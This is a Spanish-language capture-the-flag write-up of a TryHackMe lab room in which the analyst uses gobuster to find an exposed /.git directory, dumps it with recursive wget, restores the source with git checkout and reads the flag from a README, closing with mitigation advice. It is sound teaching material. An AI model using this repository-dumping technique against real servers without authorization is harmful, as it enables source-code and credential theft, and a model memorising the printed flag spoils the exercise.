



Hacker Holidays

Welcome to The Byte Lotus

Room 404 — Git Expuesto en Enumeración de Directorios

Analista: Carlos Noboa

28 julio 2026



Tabla de contenido

1. Introducción.....	3
2. Objetivo.....	3
3. Desarrollo del proceso.....	3
4. Conclusión.....	5
5. Bibliografía.....	5
6. Anexos.....	5

1. Introducción

Este informe documenta la resolución de la sala «Room 404», perteneciente a la serie Hacker Holidays de la plataforma TryHackMe, ambientada en el hotel ficticio Byte Lotus. La sala pertenece a la categoría Web y aborda técnicas de enumeración de directorios: el enunciado plantea que la plataforma de experiencia de huésped, desplegada de forma apresurada, expone en el puerto 8080 de la máquina de laboratorio contenido adicional al de la propia aplicación web.

El reto indica explícitamente que el desarrollador del turno nocturno «shipped more than the website», una pista narrativa que anticipa la presencia de artefactos de desarrollo accesibles públicamente además del sitio previsto. El objetivo declarado por la propia sala consiste en volcar el código fuente expuesto y localizar la flag oculta en él.

2. Objetivo

Enumerar los directorios y archivos accesibles en el servicio web del puerto 8080 de la máquina de laboratorio, identificar el mecanismo concreto de exposición de código fuente aprovechado por el reto, reconstruir dicho código a partir de los artefactos descubiertos y extraer la flag contenida en él, documentando cada paso de la metodología empleada.

3. Desarrollo del proceso

La resolución de la sala siguió una metodología de reconocimiento activo estándar para hallazgos de tipo Directory Enumeration: identificación del entorno de laboratorio, sondeo del servicio web mediante fuerza bruta de rutas y explotación del hallazgo resultante para reconstruir el código fuente. La tabla siguiente resume cronológicamente las acciones ejecutadas sobre la máquina objetivo desde el AttackBox y el resultado observado en cada una.

N.º	Acción	Resultado observado
1	Inicialización del entorno de laboratorio	Se inició el AttackBox (IP 10.65.187.229) y la Lab machine asociada a la sala (IP 10.65.190.42), confirmando conectividad entre ambas antes de iniciar el reconocimiento.
2	Enumeración de directorios con gobuster: gobuster dir -u http://10.65.190.42:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,zip,bak,git	El escaneo, interrumpido manualmente al 10,95 % de su progreso por resultar ya suficiente, reportó de inmediato la ruta /.git con código de respuesta 200, indicando un repositorio Git expuesto en la raíz del sitio.
3	Intento de extracción automática con git-dumper (pip3 install git-	La instalación falló por falta de conectividad a Internet del AttackBox (Network is unreachable), descartando esta vía y evidenciando que el entorno de ataque solo tiene alcance a la red interna del laboratorio.

N.º	Acción	Resultado observado
	dumper)	
4	Extracción manual del repositorio: <code>wget -r http://10.65.190.42:8080/.git/</code>	Se descargaron recursivamente 46 archivos del directorio <code>.git</code> , incluyendo objetos, referencias, configuración e índice; la descarga de múltiples <code>index.html</code> confirmó que el servidor tiene habilitado el listado de directorios.
5	Reconstrucción del árbol de trabajo: eliminación de los <code>index.html</code> residuales, inspección del historial (<code>git log --all --oneline</code>) y <code>git checkout</code> .	El repositorio contenía un único commit ("initial Byte Lotus guest platform"); <code>git checkout</code> restauró tres archivos: <code>README.md</code> , <code>app.js</code> e <code>index.html</code> .
6	Inspección de los archivos recuperados (<code>cat README.md</code>)	El archivo <code>README.md</code> contenía, sin ofuscación, la nota "Staging flag (remove before launch)" seguida de la flag: <code>THM{byt3_l0tus_n3v3r_f0rg3ts}</code> .

El hallazgo central de la sala combina dos configuraciones incorrectas independientes que se refuerzan entre sí. La primera es el listado de directorios habilitado en el servidor web, que permitió a gobuster y, posteriormente, a wget navegar y descargar el contenido de `/.git/` sin necesidad de conocer previamente ningún nombre de archivo interno; cada subdirectorio devolvió su propio `index.html` enumerando su contenido, comportamiento visible en la captura recogida en el Anexo 3.

La segunda es la publicación accidental del directorio de control de versiones `.git` dentro de la raíz servida públicamente por la aplicación, un descuido habitual que se produce cuando un despliegue copia el repositorio completo de un proyecto en lugar de únicamente los artefactos necesarios para servir el sitio. El propio `README.md` recuperado calificaba el repositorio como "Internal staging repository for the guest app and concierge personalization service" y advertía explícitamente "Do not deploy this folder to production", confirmando que la exposición fue resultado de un error operativo y no del diseño previsto de la plataforma.

La imposibilidad de instalar git-dumper por la falta de salida a Internet del AttackBox no impidió alcanzar el mismo resultado: wget en modo recursivo resultó suficiente para replicar manualmente el procedimiento que automatizaría dicha herramienta, aprovechando precisamente el listado de directorios habilitado para descubrir cada objeto del repositorio sin conocer sus hashes de antemano. Este punto ilustra que la ausencia de una herramienta especializada no constituye, por sí sola, una mitigación eficaz frente a este tipo de exposición.

Por último, la flag no estaba cifrada, codificada ni oculta dentro del código de la aplicación (`app.js` o `index.html`), sino en un archivo de documentación (`README.md`) pensado para uso interno del equipo de desarrollo. Este detalle refuerza la lección de fondo de la sala: cualquier archivo incluido en un repositorio de control de versiones debe considerarse potencialmente público en el

momento en que dicho repositorio queda accesible por error, sin importar si su contenido parece, a primera vista, meramente informativo.

4. Conclusión

La sala «Room 404» reproduce, en un entorno controlado, uno de los hallazgos más frecuentes en auditorías de aplicaciones web reales: la exposición de un directorio .git en producción a causa de un listado de directorios habilitado. Su resolución no requirió explotar ninguna vulnerabilidad de lógica de negocio ni eludir mecanismo de autenticación alguno; bastó con una enumeración sistemática de rutas y con una herramienta genérica de descarga recursiva (wget) para reconstruir la totalidad del código fuente de la aplicación y localizar la flag.

Más allá del objetivo puntual del reto, el ejercicio evidencia por qué esta categoría de fallo — clasificada dentro de OWASP Top 10 como A05:2021 Security Misconfiguration— suele considerarse de alto impacto: no se limita a filtrar un dato aislado, sino el código fuente completo de la aplicación, incluyendo lógica interna, comentarios de desarrollo y, en escenarios reales, credenciales o claves de API que con frecuencia terminan en archivos de configuración versionados por descuido. La mitigación resulta igualmente sencilla: deshabilitar el listado de directorios en el servidor web y excluir explícitamente .git —y cualquier otro artefacto de control de versiones— de todo despliegue en producción.

5. Bibliografía

TryHackMe. (2026). Hacker Holidays: Room 404 [Room]. <https://tryhackme.com/room/hh-room404-804573bf>

OWASP Foundation. (2021). OWASP Top 10:2021 - A05 Security Misconfiguration. https://owasp.org/Top10/A05_2021-Security_Misconfiguration/

6. Anexos

Figura 1. Descripción de la sala Room 404



HACKER HOLIDAYS · THE BYTE LOTUS HOTEL

Room 404





POINTS	CATEGORY	DIFFICULTY
30	Web	Very Easy

 **Concierge Briefing**

He booked the quiet room. It's not on the floor plan, not in the brochure, not on any door. But port 8080 is wide open, and the rooms it never lists are the ones worth finding.

Welcome to the Byte Lotus, where the WiFi is open, the app is free, and the concierge already knows your coffee order. You spend these first days as a guest who simply notices things — a room that isn't on the floor plan, packets that leave every night at the same hour, a profile assembled from two breakfasts and a livestream.

The Byte Lotus guest-experience platform went live in a hurry, and the night-shift developer shipped more than the website.

 **ROOM ACCESS**

Lab Machine

`http://MACHINE_IP:8080`

Figura 2. Hallazgo de /.git con gobuster

The screenshot displays a web browser window at `tryhackme.com/room/hh-room404-804573bf` and a terminal window. The browser shows the 'Hacker Holidays: Day 2' room with a confirmation message: 'Your virtual environment has been set up'. It lists two machines: 'Attacker machine' (connected via AttackBox) and 'Lab machine' (on). The terminal window, titled 'root@ip-10-65-187-229: ~', shows the execution of the following commands:

```
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,zip,bak,git-
bash: IP_LAB: No such file or directory
root@ip-10-65-187-229:~# gobuster dir -u http://10.65.190.42:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,zip,bak,git
```

The output of the gobuster command is as follows:

```
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url: http://10.65.190.42:8080
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt,zip,bak,git
[+] Timeout: 10s
=====
Starting gobuster in directory enumeration mode
=====
/.git (Status: 200) [Size: 437]
Progress: 111083 / 1309656 (8.48%)
```

Figura 3. Volcado del repositorio con wget

The image shows a web browser window at the top and a terminal window at the bottom. The browser window displays a page from `tryhackme.com` with the URL `tryhackme.com/room/hh-room404-804573bf`. The page shows "Active machines information" with two IP addresses: `10.65.187.229` and `10.65.190.42`. Below this, it says "Your virtual environment has been set up" and "All machine details can be found at the top of the page." There are two sections: "Attacker machine" with status "Connected Via AttackBox" and "Lab machine" with status "On".

The terminal window shows a file listing command: `ls -la /root/Tools /root/Desktop/Tools 2>/dev/null`. The output shows a list of files and directories, including `Binex`, `C2`, `Decompilers`, `Miscellaneous`, `PEAS`, `Password Attacks`, `Static Binaries`, `Steganography`, `Web`, `Wireless`, `metasploit.desktop`, `nmap.desktop`, `recon-ng`, and `wordlists`.

Figura 4. Archivos reconstruidos tras git checkout

```
root@ip-10-65-187-229: ~/10.65.190.42:8080
File Edit View Search Terminal Help
Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)

no changes added to commit (use "git add" and/or "git commit -a")
root@ip-10-65-187-229:~/10.65.190.42:8080# git log --all --oneline
0f13550 (HEAD -> main) initial Byte Lotus guest platform
root@ip-10-65-187-229:~/10.65.190.42:8080# git checkout .
Updated 3 paths from the index
root@ip-10-65-187-229:~/10.65.190.42:8080# ls -la
total 24
drwxr-xr-x  3 root root 4096 Jul 28 20:46 .
drwx----- 45 root root 4096 Jul 28 20:46 ..
drwxr-xr-x  8 root root 4096 Jul 28 20:46 .git
-rw-r--r--  1 root root  238 Jul 28 20:46 README.md
-rw-r--r--  1 root root  263 Jul 28 20:46 app.js
-rw-r--r--  1 root root 2554 Jul 28 20:46 index.html
root@ip-10-65-187-229:~/10.65.190.42:8080#
```

Figura 5. Flag localizada en README.md

The screenshot displays the TryHackMe web interface for a room titled "hh-room404-804573bf". The left sidebar shows "Active machines information" with two IP addresses: 10.65.187.229 and 10.65.190.42. Below this, a "Task 1" section is visible, labeled "Web *****" and "Hacker Holidays: Day 2". A message states "Your virtual environment has been set up" with a green checkmark. Underneath, there are sections for "Attacker machine" (Status: Connected via AttackBox) and "Lab machine" (Status: On, with a link to "See connection methods").

The main area on the right is a terminal window titled "root@ip-10-65-187-229:~/10.65.190.42:8080". The terminal output shows the following commands and results:

```
e-
git: command not found
root@ip-10-65-187-229:~/10.65.190.42:8080# git log --all --oneline
0f13550 (HEAD -> main) initial Byte Lotus guest platform
root@ip-10-65-187-229:~/10.65.190.42:8080# git checkout .
Updated 3 paths from the index
root@ip-10-65-187-229:~/10.65.190.42:8080# ls -la
total 24
drwxr-xr-x  3 root root 4096 Jul 28 20:46 .
drwx----- 45 root root 4096 Jul 28 20:46 ..
drwxr-xr-x  8 root root 4096 Jul 28 20:46 .git
-rw-r--r--  1 root root 238 Jul 28 20:46 README.md
-rw-r--r--  1 root root 263 Jul 28 20:46 app.js
-rw-r--r--  1 root root 2554 Jul 28 20:46 index.html
root@ip-10-65-187-229:~/10.65.190.42:8080# cat README.md
# Byte Lotus - Guest Experience Platform

Internal staging repository for the guest app and concierge personalization
service. Do not deploy this folder to production.

Staging flag (remove before launch): THM{byt3_l0tus_n3v3r_f0rg3ts}
root@ip-10-65-187-229:~/10.65.190.42:8080#
```